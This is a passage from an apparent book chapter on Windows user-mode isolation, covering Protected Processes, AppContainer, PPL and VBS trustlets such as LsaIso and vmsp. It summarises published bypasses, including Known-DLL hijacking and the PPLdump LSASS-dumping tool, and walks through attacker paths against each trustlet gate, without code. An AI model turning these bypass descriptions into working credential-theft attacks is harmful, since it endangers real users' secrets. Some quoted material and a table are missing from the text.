A few years later at Carnegie Mellon, William Wulf, Roy Levin, and the Hydra team took a different swing at the same problem. Hydra was a capability-based, object-oriented microkernel that ran on the C.mmp multiprocessor between 1971 and 1975 [316]. Where Multics multiplied rings, Hydra multiplied vocabulary: every protected resource was an object addressable only through capability tokens, and security-critical subsystems lived not inside the kernel but as user-mode capability-holders trusted by the kernel to enforce their own policy. Levin et al.'s 1975 SOSP paper "Policy/Mechanism Separation in HYDRA" gave the design its slogan, and that slogan has outlived the system that produced it [317].

For two decades the L4 family answered "but is this fast enough to be practical?" Jochen Liedtke's 1993 prototype, hand-coded in i386 assembly, ran inter-process communication twenty times faster than Carnegie's Mach microkernel [318]. His 1995 SOSP paper "On µ-Kernel Construction" was inducted into the ACM SIGOPS Hall of Fame in 2006 and is the foundational statement of the minimal-kernel, maximal-user-mode-trusted-services design. By 2010, OKL4, a commercial L4 derivative, had shipped in over one billion mobile devices [318].

Microkernel. A kernel design that pushes as much functionality as possible out of kernel mode and into user-mode "servers" that communicate via inter-process calls. Filesystem code, networking stacks, even device drivers can run as user-mode processes. The kernel itself shrinks to a few thousand lines of code that schedule processes, route messages, and enforce memory isolation, and nothing else.

In 2009 the lineage reached an end that nobody had reached before. Gerwin Klein, Kevin Elphinstone, Gernot Heiser and the NICTA team published seL4: Formal Verification of an OS Kernel at SOSP, reporting a machine-checked proof of functional correctness from a formal specification down to the C implementation [319]. seL4 was open-sourced in July 2014 [320]; the seL4 Foundation's About page states plainly that seL4 stands out because of its thoroughgoing formal verification [321]. A kernel of about 8,700 lines of C, formally verified from specification to C implementation, with sub-microsecond inter-process calls.

Schroeder and Saltzer asked it for hardware rings. Hydra asked it for capabilities. Liedtke asked it for inter-process speed. Klein and Heiser asked it of formal logic. The question stayed the same: how do you let some user-mode code hold a secret that some other code in the same machine is not allowed to read, when both pieces of code are scheduled by the same kernel? The Multics answer was rings. The Hydra answer was capabilities. The L4 answer was a tiny kernel plus IPC. The seL4 answer was a tiny kernel plus IPC, plus a proof.

The Microsoft answer, in July 2015, was a hypervisor.

If the architectural answer was already in the 1970s academic literature, why did Microsoft wait until 2015 to ship it on Windows? Because three earlier attempts to ship user-mode isolation on Windows (under three different names, in three different decades) each failed in the same way.

Three tries before trustlets

Before 2015 Microsoft tried three times to ship user-mode isolation on Windows. All three shipped in production. All three failed in the same way. They were useful when the attacker lived below the NT kernel's authority: a media process resisting an ordinary debugger, a Store app fenced into a capability set, an administrator process blocked from casually opening LSASS. They stopped being boundaries the moment the attacker controlled the component that evaluated the boundary.

That distinction is the whole reason this history belongs in a trustlet chapter. Vista Protected Processes, AppContainer, and PPL are not embarrassing false starts; each one solves a real problem at the layer it was designed for. The mistake is to ask one of them to solve the stronger problem VBS was built for: keep a secret from a malicious or compromised VTL0 kernel. The three mini-case-studies below therefore have the same structure. First, identify the enforcer. Second, identify the asset. Third, ask whether the attacker is allowed to compromise the enforcer. If yes, the design may still be valuable defense-in-depth, but it is not a trustlet-class boundary.

2007: Vista Protected Processes

Windows Vista introduced Protected Processes in January 2007. The motivation was not credential security; it was Digital Rights Management. The Protected Media Path required a set of binaries (audiodg.exe, mfpmp.exe, and a handful of others involved in Blu-ray playback) whose memory non-protected processes could not read, whose threads could not be debugged from outside, and whose DLL imports could not be hijacked at runtime [324]. The kernel enforced these rules by refusing to grant the relevant access masks (PROCESS_VM_READ, PROCESS_VM_WRITE, THREAD_ALL_ACCESS) to handles requested from non-protected processes.

The mechanism was elegant. The threat model was not. Alex Ionescu announced in January 2007 (within weeks of Vista's general availability) that he had developed a bypass method for the Protected Media Path [324]. The same NT kernel that enforced the protection was the kernel an attacker would compromise to bypass it. A signed kernel driver, or any of the long stream of subsequent kernel vulnerabilities, would walk straight through.

2012: AppContainer and the LowBox token

Windows 8 introduced AppContainer process isolation in October 2012, originally to support Windows Store apps (later unified as the Universal Windows Platform in Windows 10) [325]. Each AppContainer process ran with a LowBox token: a low-integrity primary token plus a SID, plus a set of named capabilities (internetClient, picturesLibrary, and so on), plus a per-AppContainer named-object subtree under \Sessions\<N>\AppContainerNamedObjects\<SID>. The NT kernel checked the SID against object DACLs at every object access, denying access by default and granting it only where the AppContainer's declared capabilities matched the requested operation.

This is a Hydra-style capability lattice bolted onto NT's existing access-control system. It is a useful sandboxing primitive for untrusted code, and modern browsers (the Edge renderer, the Chromium sandbox) consume it for exactly that purpose. It is not a defense against an attacker who already has kernel code execution. In August 2018 James Forshaw at Google Project Zero published an exploit for Issue 1550 that turned the AppContainer named-object namespace itself into an arbitrary-directory-creation primitive [326]:

The AppInfo service... calls the undocumented API CreateAppContainerToken... As the API is called without impersonating the user... the object directories are created with the identity of the service, which is SYSTEM.

A low-integrity caller could direct that SYSTEM-owned creation at any directory it pleased and use the result to elevate. The lattice held; the lattice's enforcer did not. AppContainers continue to ship, doing their actual job (sandboxing untrusted code) reasonably well. They were never going to answer the trustlet question (isolating trusted code from a compromised kernel) because they are NT-kernel-enforced.

2013: Protected Process Light (PPL) and RunAsPPL

Windows 8.1 generalized the Vista mechanism into a signer-level lattice. Each protected process now had a two-dimensional protection level: a signer (PsProtectedSignerWinTcb, PsProtectedSignerWindows, PsProtectedSignerAntimalware, PsProtectedSignerAuthenticode, others) and a protection type (PsProtectedTypeProtectedLight or PsProtectedTypeProtected). Higher-signer processes could manipulate lower-signer ones; same-signer processes could not see across the line. The first canonical use case was anti-malware services that registered an Early Launch Anti-Malware (ELAM) driver and then ran their user-mode service as a Protected Process Light [327].

Protected Process Light (PPL). A Windows 8.1 process attribute that constrains which other processes can request high-privilege access to it. PPL extends the Vista Protected Process mechanism with a signer-level lattice (WinTcb > Windows > Antimalware > Authenticode > None) and a protection type. The NT kernel enforces the rules. LSASS running as a PPL is the canonical use case, exposed to administrators via the RunAsPPL registry value [328]. The Protected Process Light chapter (Chapter 10) owns this mechanism in full; here it is the third and strongest of the three NT-kernel-enforced attempts that motivate trustlets.

Alex Ionescu's 2013 essay "The Evolution of Protected Processes Part 3" documented the resulting Signing Levels table: Signature Level 12 named "Windows," Level 13 "Windows Protected Process Light," Level 14 "Windows TCB" [329] [330]. That table is the load-bearing reference for every later trustlet design: every IUM binary on a 2026 Windows machine must satisfy at least Signature Level 12. Microsoft shipped LSASS-as-PPL ("LSA Protection," exposed through the RunAsPPL registry value under HKLM\SYSTEM\CurrentControlSet\Control\Lsa) as the canonical example: a way to keep the lower-privileged half of an administrator's session from reading credential material out of LSASS memory.

It worked, for some values of "worked." It worked against pass-the-hash tools that ran as an ordinary administrator without a signed kernel driver. It did not work against an attacker willing to load any signed driver, and (as became clear in 2021) it did not work even from userland once the bypass class was identified.

In August 2018 James Forshaw, in the same Project Zero post that exposed the AppContainer issue, also documented a DefineDosDevice plus Known-DLL hijack technique. By creating a symbolic link in the NT object manager namespace that aliased a Known DLL section, an administrative caller could induce a target PPL process to load arbitrary code at the next image load [326]. In 2021 the researcher who blogs as itm4n weaponised the same primitive into PPLdump, a userland tool that dumped lsass.exe memory from an administrator command prompt with no kernel driver involved [328]. itm4n's writeup is honest about what this means:

Like any other protection though, it is not bulletproof and it is not sufficient on its own, but it is still particularly efficient.

Microsoft closed the DefineDosDevice corner of this class in Windows 10 21H2 build 19044.1826, shipped in July 2022 [331]. That is eight years of mainstream PPL deployment during which the LSASS-as-PPL credential boundary was bypassable without ring 0 access at all.

The pattern

Three primitives. Three different protection mechanisms. One common failure mode.

Three rows, one diagnosis. Every NT-kernel-enforced isolation primitive shares the attacker's TCB. Improving the lattice the NT kernel enforces does not move the security ceiling, because the NT kernel itself can be compromised; once it is, any policy decision the NT kernel makes is the attacker's policy decision. Microsoft's own VBS hardware-requirements page admits the diagnosis verbatim:

If every primitive the NT kernel enforces shares the attacker's TCB, the kernel that enforces user-mode isolation has to be a different kernel. In July 2015 Microsoft shipped one.

July 2015: The hypervisor becomes the arbiter

On 29 July 2015 Microsoft shipped Windows 10 build 10240 [332]. Two new ideas shipped with it. The first was Hyper-V's hypervisor running underneath the NT kernel even on a laptop, not just on a server hosting virtual machines [333]: the arbiter the Above Ring Zero chapter (Chapter 9) treats in full. The second was a separate kernel running alongside the NT kernel, at a different Virtual Trust Level. Together those two ideas produce a substrate where the long-time equation "SYSTEM kernel write primitive equals every secret in user-mode memory" is no longer true.

Virtual Trust Level (VTL). Established in the Secure Kernel chapter (Chapter 6): a hypervisor-managed privilege axis on top of x86's ring 0 / ring 3, where each VTL has its own kernel and user mode, and higher VTLs can read lower-VTL memory but not the reverse. The one detail this chapter needs on top of that recap is the cap: the Hyper-V Top-Level Functional Specification reserves up to 16 VTLs; the current implementation defines #define HV_NUM_VTLS 2 [322].

The Hyper-V Top-Level Functional Specification states the rule directly: "VSM achieves and maintains isolation through Virtual Trust Levels (VTLs)... Architecturally, up to 16 levels of VTLs are supported; however a hypervisor may choose to implement fewer than 16 VTL's. Currently, only two VTLs are implemented" [322]. The NT kernel runs in VTL0 ring 0; user-mode applications run in VTL0 ring 3. The Secure Kernel (Chapter 6) runs in VTL1 ring 0; trustlets run in VTL1 ring 3. Each VTL transition takes the CPU through a VMEXIT and back, with VMCS save and restore on each crossing [334].

Quarkslab's reverse-engineering team put the practical consequence in one sentence in their IUM-debugging writeup: "VTL0 is the Normal World, where the traditional kernel-mode and user-mode code run in ring 0 and ring 3, respectively. On top of that, a new world appears: VTL1 is the privileged Secure World, where the Secure Kernel runs in ring 0, and a limited number of IUM processes run in ring 3. Code running in VTL0, even in ring 0, cannot access the higher-privileged VTL1" [312].

That sentence is the architectural fact the whole chapter rests on. The hypervisor configures each guest physical page's permissions on a per-VTL basis using the CPU's Second Level Address Translation tables. A page can be readable from VTL0 and VTL1, readable from VTL1 only, or readable from neither.

Second Level Address Translation (SLAT). Also established in Chapter 6: the hardware mechanism (Intel EPT, AMD NPT) that lets the hypervisor define page-level permissions per-VTL, independent of the guest's own page tables. The consequence this chapter leans on is sharp: a SYSTEM-privilege VTL0 attacker who edits the NT kernel's page tables cannot change the VTL1-side permissions, because those live in hypervisor-managed structures that VTL0 page-table writes do not touch.

The VTL hierarchy is not symmetric. VTL1 code can read VTL0 memory; that is how a trustlet can dispatch the contents of an lsass.exe RPC request the moment after VTL0 wrote it. VTL0 code cannot read VTL1 memory under any condition the hypervisor permits. A kernel write primitive in VTL0 lets the attacker corrupt the NT kernel's data structures, modify drivers, and walk every VTL0 process's pages. The attacker can do every one of those things and not be one byte closer to the contents of LsaIso.exe.

Microsoft's IUM documentation at Windows 10 RTM named two trustlets explicitly: Trustlet ID 0 = the Secure Kernel Process (hosts Device Guard and Hypervisor-protected Code Integrity policy decisions), and Trustlet ID 1 = LSAISO.EXE (Credential Guard's isolated LSA, holding NTLM hashes and Kerberos Ticket-Granting Tickets out of VTL0 reach). Two more (IDs 2 and 3, covered later in this chapter under the Inbox Roster) also shipped on the RTM image and were enumerated a week later by Ionescu's Black Hat reverse-engineering [310] [277]. Microsoft Learn's IUM page introduces the vocabulary the rest of this chapter will use:

Trustlets (also known as trusted processes, secure processes, or IUM processes) are programs running as IUM processes in VSM... With VSM enabled, the Local Security Authority (LSASS) environment runs as a trustlet.

A week after Windows 10 shipped, on 5 August 2015, Alex Ionescu walked into a Black Hat USA briefing room in Mandalay Bay and reverse-engineered the entire thing in front of an audience [335]. His talk, "Battle of the SKM and IUM: How Windows 10 Rewrites OS Architecture," is the canonical first public account of the trustlet model and the source from which Microsoft's own later documentation borrows terminology one for one [277]. Almost every concrete fact about the gates that follow (the syscall allow-list, the EKUs, the .tpolicy section, the Trustlet Instance GUID) traces back to that single deck.

Now we know what world a trustlet lives in. What architecturally is one?

The five gates

A trustlet is not a special process class the way a Protected Process is. It is an ordinary Portable Executable binary that has been loaded under five very specific conditions. Walk through them once and you will be able to recognize a trustlet in a dumpbin /headers listing. The status is mechanical, not categorical. Chapter 9 of Windows Internals, Seventh Edition, Part 2 (Allievi, Russinovich, Ionescu, Solomon) covers the same architecture from the kernel-team side as a reference complement to Ionescu's BH2015 reverse-engineering [336].

Trustlet. A Windows user-mode process that runs in Virtual Trust Level 1 user mode (ring 3 of the Secure World), scheduled by the Secure Kernel and isolated from VTL0 by Hyper-V's per-VTL SLAT enforcement. A binary becomes a trustlet only if it satisfies five very specific conditions: a process attribute, two signing EKUs at Signature Level 12, a .tpolicy PE section containing s_IumPolicyMetadata, a Trustlet Instance GUID bound at runtime, and a stripped-down loader path. Trustlets are sometimes also called "trusted processes," "secure processes," or "IUM processes" [310].

Isolated User Mode (IUM). The user-mode environment of Virtual Trust Level 1. IUM is, structurally, ring 3 of VTL1. Its inhabitants are trustlets; its kernel is the Secure Kernel; its system-call surface is approximately one-tenth of NT's. Quarkslab's IUM-debugging writeup describes IUM as the place where "a limited number of IUM processes run in ring 3" of VTL1; Microsoft's Win32 documentation describes the same architectural placement with different wording [312] [310].

Gate 1: the process attribute

VTL0 user-mode code cannot call CreateProcess and produce a trustlet. The Win32 API does not expose the necessary primitive. A trustlet is born via a direct NtCreateUserProcess syscall that carries a PsAttributeSecureProcess attribute with a 64-bit Trustlet ID. Only callers that already live in VTL1, or callers in VTL0 that hold a specific brokering capability, can request that attribute and have the Secure Kernel honor it [277].

This is intentional. The Win32 layering is one of the surfaces an attacker can compromise, so the trustlet boot path bypasses it. There is no "trustlet via shell": not for an administrator, not for SYSTEM, not for the Secure Kernel itself other than through the documented internal path.

Failure mode: if Gate 1 were only a user-mode convention, a VTL0 attacker could start a Microsoft-signed helper under ordinary process creation and then ask later components to treat it as isolated. The attacker would need control over process creation metadata or a broker that could forge PsAttributeSecureProcess. The Secure Kernel/NT creation path has to bind the requested Trustlet ID before the image is admitted to IUM; otherwise every later check would be answering the wrong question. What remains exposed is the authorized broker path: a legitimate agent can still request the operations Microsoft designed it to request, and those requests remain part of the VTL0 attack surface.

Gate 2: Two EKUs at signature level 12

The binary must be signed with a certificate chain that contains two specific Enhanced Key Usage identifiers, and the resulting Signing Level must be 12 or higher. From Ionescu's BH2015 deck (correcting a typo in the slide): "They must have a Signature Level of 12... This means they must have the Windows System Component Verification EKU (1.3.6.1.4.1.311.10.3.6)... They must have the IUM EKU 1.3.6.1.4.1.311.10.3.37" [277].

Enhanced Key Usage (EKU). An X.509 certificate extension that restricts which purposes a certificate can be used for. An EKU is an object identifier (OID); a code-signing certificate that claims an OID of 1.3.6.1.4.1.311.10.3.6 is asserting it is valid for the "Windows System Component Verification" purpose. The Windows code-integrity subsystem (ci.dll), whose internals the Code Integrity chapter (Chapter 8) owns, checks the requested EKU against the actual certificate at image-validation time and refuses to load the image if the EKU is missing or the certificate is not chained to a trusted root [329].

Both EKUs are required. The Windows System Component Verification EKU establishes the binary as a Microsoft-signed Windows component. The IUM EKU asserts the binary's intent to load as a trustlet. A PPL EKU may sit on top, layering the PPL signer-level check on the trustlet check, but the two-EKU minimum is what Signing Level 12 enforces.

Failure mode: if Gate 2 accepts an ordinary Microsoft-signed binary, the trustlet boundary becomes a Microsoft-binary allow-list rather than an IUM-intent allow-list. An attacker would not need to forge VTL1 code; they would need only to redirect the loader toward a signed component with a parsing bug, unsafe import pattern, or unexpected command surface. The code-integrity check therefore has two obligations: prove the publisher chain and prove the IUM EKU purpose. The residual exposure is beneath code integrity: Test Signing, a trusted test root, Secure Boot bypass, or signing-key compromise can still turn the gate into a rubber stamp.

Gate 3: the .tpolicy section and s_IumPolicyMetadata

Every trustlet image must contain a PE section named .tpolicy marked IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ. The section must contain the symbol s_IumPolicyMetadata, a structure with three required components: a version byte set to 1, a 64-bit Trustlet ID that must match the one the process attribute requested, and a per-trustlet policy table containing entries for ETW (event tracing), debug permissions, crash-dump key release, and other trustlet-specific runtime knobs [277].

The Secure Kernel parses this section at load time via an internal routine the deck names SkpspFindPolicy. A binary with no .tpolicy section, or with one whose Trustlet ID disagrees with the process-attribute Trustlet ID, or whose version byte is anything other than 1, fails the gate. The Secure Kernel does not "infer" a trustlet identity; it reads it out of the binary the attacker would have had to sign.

Failure mode: if the requested Trustlet ID and the embedded .tpolicy ID can diverge, identity becomes caller-controlled. A malicious or confused broker could request ID 1 semantics for a binary whose policy table was written for another service, gaining the wrong ETW, debug, crash-dump, or secure-storage rules. The Secure Kernel check is a consistency proof: the signed image must carry the policy for the class it is asking to become. Residual exposure remains in policy-table parsing itself, which is why this is not merely metadata; malformed tables are VTL0-influenced input parsed inside the VTL1 load path.

Gate 4: The trustlet instance GUID

Once gates 1-3 pass, the trustlet calls a secure-service routine the deck names IumSetTrustletInstance, identified by secure-call ordinal 0x80000001. That routine binds the running process to a Trustlet Instance GUID, the runtime identity by which the Secure Kernel discriminates one instance of a trustlet from another. Hyper-V partition GUIDs flow into this identifier for the vTPM trustlets, so that the secrets a partition's vTPM holds are scoped to that partition's Instance GUID.

The same Instance GUID can be shared across distinct Trustlet IDs. That is the architectural primitive Microsoft uses for trustlet-to-trustlet authentication: the host-side Hyper-V vTPM (vmsp.exe, Trustlet ID 2) and the vTPM provisioning trustlet (ID 3) cooperate on a single partition's secrets by sharing the partition's Instance GUID. The Secure Kernel's SkCapabilities table hardcodes which Trustlet IDs are permitted to invoke which secure-storage operations against an Instance GUID; for the 2015-era IUM surface, the only ID-discriminated rules are CheckByTrustletId 2 for SecureStorageGet and CheckByTrustletId 3 for SecureStorageSet [277].

Failure mode: if Gate 4 binds only a GUID and not the (Trustlet ID, Instance GUID) pair, two different trustlet classes become indistinguishable storage principals. An attacker would need either an attacker-controlled trustlet (the malwarelet case), a compromised legitimate trustlet, or a Secure Kernel bug that lets a VTL0 caller set or reuse another component's GUID. The Secure Kernel check is not "does this GUID exist?" but "is this Trustlet ID allowed to perform this operation against this GUID?" Residual exposure is intentional sharing: ID 2 and ID 3 must share enough namespace to provision a vTPM, so the proof obligation shifts to the capability table that separates write authority from read authority.

Gate 5: the stripped-down loader

A trustlet's image loader is not the standard NT loader. The ntdll loader detects the secure-process flag through a check the deck names LdrpIsSecureProcess, which skips an unusually long list of features. Application Verifier hooks: skipped. Image File Execution Options registry checks: skipped. SxS / Fusion DLL redirection: skipped. The CSRSS connection ordinary NT processes establish during startup: skipped (the BASE_STATIC_SERVER_DATA structure CSRSS would normally hand back is fabricated locally on the trustlet's heap so dependent calls do not crash). Safer, AuthZ, Software Restriction Policies: all skipped. Any DLL load triggered from VTL0: refused.

The result is a loader path with no attack surface against VTL0 environment variables, no susceptibility to NT's normal "load this DLL instead" knobs, and no opportunity for the user's CSRSS process to inject anything into the trustlet's address space. The system-call surface available inside the trustlet is restricted to a version-specific subset: Ionescu's 2015 deck states the count verbatim for that build as "Only 48 system calls are currently allowed from IUM Trustlets" [277].

Failure mode: if the ordinary NT loader path runs, VTL0 gets its oldest process-compromise tools back: IFEO debugger redirection, Application Verifier shims, SxS DLL substitution, Known-DLL games, CSRSS-mediated startup state, and policy engines whose inputs live in registry hives or objects VTL0 can edit. The attacker would not need to read VTL1 memory; they would arrange for attacker-chosen code or attacker-chosen loader state to be present before the boundary becomes meaningful. The secure loader's check is negative as much as positive: deny VTL0-triggered DLL loads and skip VTL0-owned customization layers. Residual exposure is the smaller IUM syscall/API surface that remains, not the full Win32 loader ecology.

All five gates pass. The binary is now a trustlet. It is running in VTL1 user mode. The hypervisor refuses to map its pages into VTL0. Now what does it do? Who does it talk to?

The inbox roster

Five gates. Pass them all and you become a trustlet. Microsoft passes them on behalf of a small confirmed roster, and Microsoft also ships newer VBS-backed features whose exact implementation object is not publicly named. The word small is doing work. VTL1 user mode is not a second copy of Windows where arbitrary services migrate for neatness. It is a scarce compartment for code whose asset is worth the cost of a cross-VTL boundary and whose interface can be narrow enough to audit.

Read the roster with three labels in mind. Confirmed means the Trustlet ID and role are on the public record. Documented-not-public means Microsoft documents a VBS-isolated security boundary but does not publish the binary name, Trustlet ID, or ALPC endpoint. Third-party enclave means the code runs in VTL1-protected enclave memory but is not an inbox trustlet process. Collapsing those categories is how good architecture writing turns into folklore.

Read each row in the roster as four coupled identities, not as a process name. The Trustlet ID is the load-time class baked into .tpolicy. The binary is the Microsoft-signed image that carries the IUM EKU. The Instance GUID is the runtime scope for per-instance storage, especially important for Hyper-V partitions. The agent is the VTL0 process that still faces the rest of Windows and therefore remains in the attacker's world. A secret is protected only if it stays on the trustlet side of that split; every request, handle, protocol parser, UI prompt, and network packet on the agent side remains ordinary VTL0 attack surface.

The agent / trustlet pattern

Before the roster, the pattern. Almost every shipping trustlet has a partner: an agent process in VTL0 that does the high-volume work of integrating with the rest of the operating system, and the trustlet itself in VTL1 holding the secret material. The two talk over an Advanced Local Procedure Call port whose server end is hosted by the trustlet.

Advanced Local Procedure Call (ALPC). A Windows inter-process communication primitive optimized for fast message exchange between processes on the same machine. The NT kernel hosts ALPC ports as named kernel objects (e.g., \RPC Control\LSA_ISO_RPC_SERVER); clients open a port and exchange messages with the server. For trustlets, the ALPC server runs inside the trustlet in VTL1; clients in VTL0 send requests, the Secure Kernel marshals the request across the VTL boundary, and the trustlet returns a result back to VTL0. The hash never leaves VTL1; the request and response do.

The roster below names the agent for each trustlet where Microsoft has published one. Where the agent is not publicly named, the row says so.

Trustlet ID 0: The Secure Kernel process

The first inhabitant of VTL1 user mode. Hosts Device Guard and Hypervisor-protected Code Integrity policy decisions. Architecturally close to a daemon: it does not service external clients; it provides services the Secure Kernel itself relies on for policy decisions about whether a given image is permitted to load in VTL0 [277].

The important mental model is not "a hidden process that users can call." It is the user-mode policy companion to VTL1's kernel-mode enforcement. Hypervisor-protected Code Integrity has to answer questions that are too policy-rich to be hard-coded as a few SLAT bits: which signing levels are acceptable for a given image, which Device Guard rules are active, whether a Code Integrity policy authorizes a module, and how those decisions are exposed back to VTL0 without letting VTL0 rewrite the rule book. ID 0 is where that policy work lives.

That placement matters because it keeps the code-integrity decision out of the kernel it is judging. If the NT kernel could both request an image-load decision and edit the policy engine's memory, HVCI would collapse into another PPL-like kernel-enforced rule. By locating the policy service in VTL1 user mode, Microsoft gets a familiar user-mode implementation style (parsers, policy tables, ETW choices, crash behavior) while keeping the state VTL0 would most like to corrupt behind the hypervisor boundary. It is "process-like" for engineering reasons and "secure-kernel-adjacent" for threat-model reasons.

Failure-mode walkthrough: suppose a VTL0 kernel attacker can rewrite the policy state ID 0 uses to answer HVCI or Device Guard decisions. The immediate break is not that the attacker reads a secret; it is that the attacker turns the integrity oracle into an approval oracle for code VTL0 wants to run. The attacker would need a way to write VTL1 policy memory, confuse the secure-call parameters that name a policy decision, or compromise the substrate that loaded the Secure Kernel Process in the first place. The Secure Kernel and hypervisor check the memory boundary and the load-time identity; HVCI then consumes decisions from a service VTL0 cannot patch in place. Residual exposure remains at the request boundary: VTL0 still supplies image paths, section objects, and policy-evaluation context, so parser bugs or confused-deputy decisions in the secure-call path are the realistic failure class, not direct memory theft.

Trustlet ID 1, LsaIso.exe (Credential Guard)

The canonical trustlet. Holds NTLM hashes and Kerberos Ticket-Granting Tickets. Its agent in VTL0 is lsass.exe, the Local Security Authority Subsystem Service that has held those secrets directly for every version of Windows NT until 2015. The ALPC port name is LSA_ISO_RPC_SERVER. The IUM-side API the trustlet exposes is narrow: EncryptData and DecryptData on opaque blobs, plus a handful of internal management operations [311].

The Microsoft Learn explanation is the verbatim public account:

With Credential Guard enabled, the LSA process in the operating system talks to a component called the isolated LSA process that stores and protects those secrets, LSAIso.exe. Data stored by the isolated LSA process is protected using VBS and isn't accessible to the rest of the operating system. LSA uses remote procedure calls to communicate with the isolated LSA process [311].

A VTL0 caller (including SYSTEM-in-the-NT-kernel) can ask the trustlet to encrypt a freshly supplied credential or to authenticate a freshly received challenge. It cannot ask the trustlet to expose the underlying NTLM hash in plaintext. The raw hash never leaves VTL1: only encrypted blobs and the authentication outcomes derived from it do. That is the entire point.

Failure-mode walkthrough: if the LsaIso.exe boundary is violated, pass-the-hash becomes literal again. The attacker no longer has to relay a challenge or wait for an authentication event; they dump reusable NTLM material and Kerberos tickets out of memory the way older LSASS tooling did. To get there, the attacker needs one of three things: a VTL0-to-VTL1 bug in the secure-call/marshalling path, a substrate failure that lets attacker code load as a trustlet, or a logic bug in LsaIso.exe that returns material its contract says should stay opaque. The Secure Kernel checks page ownership and marshals only allowed calls; code integrity checks the image; the ALPC/RPC contract is supposed to return operations, not secrets. The residual exposure is exactly Microsoft and Lyak's documented caveat: VTL0 can still ask for use of a credential through lsass.exe, so challenge-response relay and protocol abuse remain possible even when memory extraction fails [311] [337].

Trustlet ID 2, vmsp.exe (Hyper-V vTPM, host side)

The Hyper-V Virtual Trusted Platform Module on the host side (the TPM chapter, Chapter 2, owns the underlying primitive). One vmsp.exe instance per guest partition; the agent is vmwp.exe, the Hyper-V Virtual Machine Worker Process for that partition. The Instance GUID is the partition's GUID, so that the keys a partition's vTPM holds are scoped to that partition and that partition only. Storage primitives include a Mailbox primitive (protected by a per-instance Security Cookie) and a Secure Storage primitive that produces Ingress and Egress blobs encrypted with per-Instance IDK material [277] [338].

Shielded VMs on Windows Server 2016 and later consume vmsp.exe. A shielded VM, per Microsoft Learn, "has a virtual TPM, is encrypted using BitLocker, and can run only on healthy and approved hosts in the fabric" [338]. The vTPM keys live in the host's vmsp.exe trustlet; the BitLocker volume master key in the guest is sealed against that vTPM; and a SYSTEM-privilege NT-kernel write primitive on the host cannot read the partition's vTPM secrets even though the host can otherwise reach the partition's memory.

Failure-mode walkthrough: if the vmsp.exe boundary breaks, host compromise becomes key compromise for every protected guest whose vTPM state the broken instance can reach. The attacker wants the vTPM's sealed keys or the ability to make the vTPM sign/decrypt as if the guest were healthy. To exploit that, the attacker would need to cross from vmwp.exe/host VTL0 into the VTL1 vmsp.exe address space, confuse the partition GUID used as the Instance GUID, or abuse a secure-storage capability that returns another partition's blob. The Secure Kernel's checks are two-dimensional: Trustlet ID 2 is the runtime reader, and the Instance GUID scopes the material to one partition. Residual exposure remains in vmwp.exe and the VM management plane: the host can pause, starve, misconfigure, or deny service to the guest, and bugs in TPM command parsing can still be reachable through the legitimate agent channel.

Trustlet ID 3: vTPM provisioning trustlet

Pushes initial secrets into a partition's Instance GUID at vTPM creation time. The Secure Kernel's SkCapabilities array hardcodes CheckByTrustletId 2 for SecureStorageGet and CheckByTrustletId 3 for SecureStorageSet; those are the only Trustlet-ID-checked secure-storage operations in the 2015-era IUM secure-call surface [277]. The pair of trustlets cooperates on the same Instance GUID so the provisioning trustlet writes and vmsp.exe reads, with the Secure Kernel enforcing that no other trustlet can do either.

The lifecycle is easiest to understand as a handoff. When Hyper-V creates a protected guest with a virtual TPM, there is a moment before the long-lived vmsp.exe instance can serve TPM commands for that partition. Initial vTPM state has to be generated, associated with the partition's GUID, and stored under keys that the VTL0 host cannot read. The provisioning trustlet owns the write side of that first operation. It can set the secure-storage material for the Instance GUID, but it is not the runtime TPM service. After provisioning, vmsp.exe owns the read side and services the guest's TPM operations through vmwp.exe.

This split is why Trustlet ID and Instance GUID are separate. The Instance GUID says "this partition's vTPM namespace." The Trustlet ID says "which class of trustlet is allowed to perform which operation in that namespace." Sharing the GUID without checking the ID would let any cooperating trustlet become a storage peer; checking only the ID without the GUID would collapse every VM's vTPM state into one global bucket. SkCapabilities has to enforce both axes, and for the published 2015 surface the ID-checked operations are exactly the provisioning/runtime pair: ID 3 sets, ID 2 gets [277].

Failure-mode walkthrough: the provisioning trustlet is dangerous precisely because it is allowed to create initial state. If an attacker can run ID 3 operations after provisioning, or can bind ID 3 to a victim partition's Instance GUID, the break is not passive disclosure but active state substitution: seed a vTPM with attacker-known material, overwrite the initial secure-storage blob, or make a later vmsp.exe read a blob that was never generated for that guest. The attacker would need a compromised provisioning path, a GUID-binding bug, or a missing CheckByTrustletId 3/operation-state check. The Secure Kernel must prove that the caller is ID 3, the operation is SecureStorageSet, the GUID is the target partition, and the lifecycle permits setting. Residual exposure is operational: provisioning is a short, high-value window, so logging and host-fabric policy matter even though VTL0 cannot read the resulting keys.

Enhanced Sign-in Security (ESS) biometric matching component (Windows 11+)

Microsoft Learn documents the architectural placement of Windows Hello's facial-recognition algorithm verbatim:

When ESS is enabled, the face algorithm is protected using VBS to isolate it from the rest of Windows. The hypervisor is used to specify and protect memory regions, so that they can only be accessed by processes running in VBS. The hypervisor allows the face camera to write to these memory regions providing an isolated pathway... Sensors that support ESS have a certificate embedded during manufacturing [339].

The page also documents the certificate chain that authenticates the camera to the matcher and the match-on-sensor requirement for fingerprint readers under ESS. Microsoft does not publicly name the binary that hosts the face algorithm, and it does not publicly assign that binary a Trustlet ID. The public fact is therefore documented-not-public VBS isolation, not a confirmed inbox trustlet identity. It may be implemented by an IUM trustlet, by a VBS enclave-like component, or by another Secure Kernel-mediated service; the published docs do not say.

Failure-mode walkthrough: if the ESS boundary is violated, the break is biometric replay or matcher-state compromise, not necessarily password theft. A VTL0 attacker wants to inject camera frames, read or replace face-template/matcher state, downgrade the certificate-authenticated camera path, or trick the matcher into accepting an unauthenticated sensor. The documented Secure Kernel/hypervisor role is to protect the memory regions used by the face algorithm and to permit the ESS-capable camera to write along an isolated path; the documented device role is certificate-backed sensor authentication [339]. Residual exposure remains outside that protected path: the Windows Hello broker, enrollment UX, policy configuration, fallback PIN flows, and any non-ESS sensor mode are still ordinary Windows surfaces. Because Microsoft has not published a Trustlet ID, a reader should not audit ESS by looking for a made-up EssIso.exe; they should verify ESS configuration, sensor certification, and the supported Windows Hello state.

Administrator Protection / Adminless issuer (Windows 11, rolling out 2025-26)

In October 2025 Microsoft shipped a preview of Administrator Protection in KB5067036 [340] and reverted the rollout in the same update note [323]. The Microsoft Learn page describes the security model:

